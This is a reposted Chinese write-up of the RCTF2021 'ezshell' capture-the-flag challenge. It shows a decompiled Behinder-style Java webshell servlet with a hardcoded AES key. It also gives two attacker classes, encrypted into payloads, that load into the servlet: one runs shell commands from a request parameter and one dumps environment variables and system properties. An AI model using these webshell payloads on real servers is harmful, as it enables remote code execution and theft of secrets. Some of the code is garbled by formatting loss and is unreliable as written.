栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

RCTF2021 ezshell

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

RCTF2021 ezshell

前言

RCTF当时没打,感觉还是错过了学习的机会。今天下午看firebasky师傅的github的时候偶然看到了RCTF的题目,所以打算找个时间把这个比赛的Web复现一下。就没有把所有的web题目都放一篇文章上,因为最近各种事情还有复习,复现题目也是断断续续了,可能接下来会过个好几天才继续看下一题,时间间隔拉的太久,而且每道题学到的东西也比较多,写的相对来说也比较详细,就单独拉出来成一篇文章了。

Writeup

Misc里面的一道Web,get访问/shell之后可以得到源码反编译之后审计一下:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Method;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import sun.misc.base64Decoder;

@WebServlet({"/shell"})
public class shellbx extends HttpServlet {
    public shellbx() {
    }

    protected void service(HttpServletRequest request, HttpServletResponse response) {
        try {
            String k;
            if (request.getMethod().equals("POST")) {
                response.getWriter().write("post");
                k = "e45e329feb5d925b";
                HttpSession session = request.getSession();
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                byte[] evilClassBytes = (new base64Decoder()).decodeBuffer(request.getReader().readLine());

                class U extends ClassLoader {
                    U(ClassLoader c) {
                        super(c);
                    }

                    public Class g(byte[] b) {
                        return super.defineClass(b, 0, b.length);
                    }
                }

                Class evilClass = (new U(this.getClass().getClassLoader())).g(c.doFinal(evilClassBytes));
                Object a = evilClass.newInstance();
                Method b = evilClass.getMethod("e", Object.class, Object.class);
                b.invoke(a, request, response);
            } else {
                k = "ROOT.war";
                String path = System.getProperty("user.dir") + File.separator + ".." + File.separator + "webapps" + File.separator + k;
                File file = new File(path);
                String filename = file.getName();
                BufferedInputStream fis = new BufferedInputStream(new FileInputStream(path));
                byte[] buffer = new byte[fis.available()];
                fis.read(buffer);
                fis.close();
                response.reset();
                response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.getBytes()));
                response.addHeader("Content-Length", "" + file.length());
                BufferedOutputStream toClient = new BufferedOutputStream(response.getOutputStream());
                response.setContentType("application/octet-stream");
                toClient.write(buffer);
                toClient.flush();
                toClient.close();
            }
        } catch (Exception var10) {
        }

    }
}

很明显的类似冰蝎那个jsp马,但是连不上,查了一下说是因为冰蝎还存在密钥协商的过程。

不过代码的逻辑还是很容易理解的,就是post传过去一个先经过AES加密再经过base64加密的一个恶意类的字节码,然后调用这个类的e()方法。

所以就写这么个恶意类,然后产生payload:

package com.feng.test;

import javassist.ClassPool;
import javassist.CtClass;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.util.base64;

public class Evil {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("com.feng.test.Evil");
        byte[] code = clazzz.toBytecode();
        String k = "e45e329feb5d925b";
        Cipher c = Cipher.getInstance("AES");
        c.init(1, new SecretKeySpec(k.getBytes(), "AES"));
        byte[] bytes = c.doFinal(code);
        String str = new String(base64.getEncoder().encode(bytes));
        System.out.println(str);
    }
    //HttpServletRequest request, HttpServletResponse response
    public void e(Object req,Object resp) throws Exception{
        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) resp;
        String[] cmd = {"/bin/sh","-c",request.getParameter("cmd")};
        //String[] cmd = {"cmd","/c",request.getParameter("cmd")};
        Process inProcess = (Process) Runtime.getRuntime().exec(cmd);


        InputStream in = inProcess.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(in));
        String line;

        byte[] bcache = new byte[1024];
        int readSize = 0;
        try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
            while ((readSize =in.read(bcache))!=-1){
                outputStream.write(bcache,0,readSize);
            }
            response.getWriter().println(outputStream.toString());
            //System.out.println(outputStream.toString());
        }
    }
}

然后我本地打通了复现的docker那边死活没回显:

看了一下各种writeup,才看到好像题目的环境是不出网,过滤了内存马和命令执行,还给了个提示:冰蝎basicinfo。

这个basicinfo是啥,咱也不知道,咱也不敢问,把冰蝎的那个jar包解压缩然后拿IDEA打开,查找一下basicinfo,找到了net/rebeyond/behinder/payload/java/BasicInfo.class:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package net.rebeyond.behinder.payload.java;

import java.io.File;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
import java.util.Map.Entry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class BasicInfo {
    public static String whatever;
    private Object Request;
    private Object Response;
    private Object Session;

    public BasicInfo() {
    }

    public boolean equals(Object obj) {
        String result = "";
        boolean var22 = false;

        Object so;
        Method write;
        label132: {
            try {
                var22 = true;
                this.fillContext(obj);
                StringBuilder basicInfo = new StringBuilder("
环境变量:
"); Map env = System.getenv(); Iterator var5 = env.keySet().iterator(); while(var5.hasNext()) { String name = (String)var5.next(); basicInfo.append(name + "=" + (String)env.get(name) + "
"); } basicInfo.append("
JRE系统属性:
"); Properties props = System.getProperties(); Set> entrySet = props.entrySet(); Iterator var7 = entrySet.iterator(); while(var7.hasNext()) { Entry entry = (Entry)var7.next(); basicInfo.append(entry.getKey() + " = " + entry.getValue() + "
"); } String currentPath = (new File("")).getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); File[] var10 = roots; int var11 = roots.length; for(int var12 = 0; var12 < var11; ++var12) { File f = var10[var12]; driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map entity = new HashMap(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); result = this.buildJson(entity, true); var22 = false; break label132; } catch (Exception var26) { var22 = false; } finally { if (var22) { try { Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(result.getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var23) { } } } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(result.getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var24) { } return true; } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(result.getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var25) { } return true; } private byte[] Encrypt(byte[] bs) throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); byte[] raw = key.getBytes("utf-8"); SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, skeySpec); byte[] encrypted = cipher.doFinal(bs); return encrypted; } private String buildJson(Map entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); Iterator var5 = entity.keySet().iterator(); while(var5.hasNext()) { String key = (String)var5.next(); sb.append(""" + key + "":""); String value = ((String)entity.get(key)).toString(); if (encode) { Class base64; Object Encoder; if (version.compareTo("1.9") >= 0) { this.getClass(); base64 = Class.forName("java.util.base64"); Encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null); value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { this.getClass(); base64 = Class.forName("sun.misc.base64Encoder"); Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); value = value.replace("n", "").replace("r", ""); } } sb.append(value); sb.append("","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest").invoke(obj); this.Response = obj.getClass().getMethod("getResponse").invoke(obj); this.Session = obj.getClass().getMethod("getSession").invoke(obj); } else { Map objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } }

看这样子是输出env还有一些系统基础的东西,也没有涉及到命令执行,所以可能就是flag在环境变量里。所以其实直接把System.getenv()的结果输出出来可能也能得到flag,为了保险把冰蝎的这个basicInfo魔改一下:

package com.feng.test;

import javassist.ClassPool;
import javassist.CtClass;
import java.util.Map.Entry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Method;
import java.util.*;

public class Evil {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("com.feng.test.Evil");
        byte[] code = clazzz.toBytecode();
        String k = "e45e329feb5d925b";
        Cipher c = Cipher.getInstance("AES");
        c.init(1, new SecretKeySpec(k.getBytes(), "AES"));
        byte[] bytes = c.doFinal(code);
        String str = new String(base64.getEncoder().encode(bytes));
        System.out.println(str);
    }
    //HttpServletRequest request, HttpServletResponse response
    public void e(Object req,Object resp) throws Exception{
        HttpServletResponse response = (HttpServletResponse) resp;
        String result = "";

        try {
            StringBuilder basicInfo = new StringBuilder("
环境变量:
"); Map env = System.getenv(); Iterator var5 = env.keySet().iterator(); while(var5.hasNext()) { String name = (String)var5.next(); basicInfo.append(name + "=" + (String)env.get(name) + "
"); } basicInfo.append("
JRE系统属性:
"); Properties props = System.getProperties(); Set> entrySet = props.entrySet(); Iterator var7 = entrySet.iterator(); while(var7.hasNext()) { Entry entry = (Entry)var7.next(); basicInfo.append(entry.getKey() + " = " + entry.getValue() + "
"); } String currentPath = (new File("")).getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); File[] var10 = roots; int var11 = roots.length; for(int var12 = 0; var12 < var11; ++var12) { File f = var10[var12]; driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map entity = new HashMap(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); result = this.buildJson(entity, false); } catch (Exception var26) { } finally { try { response.getWriter().println(result); } catch (Exception var23) { } } } private String buildJson(Map entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); Iterator var5 = entity.keySet().iterator(); while(var5.hasNext()) { String key = (String)var5.next(); sb.append(""" + key + "":""); String value = ((String)entity.get(key)).toString(); if (encode) { Class base64; Object Encoder; if (version.compareTo("1.9") >= 0) { this.getClass(); base64 = Class.forName("java.util.base64"); Encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null); value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { this.getClass(); base64 = Class.forName("sun.misc.base64Encoder"); Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); value = value.replace("n", "").replace("r", ""); } } sb.append(value); sb.append("","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } }

运行main产生payload打过去就行。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/423960.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号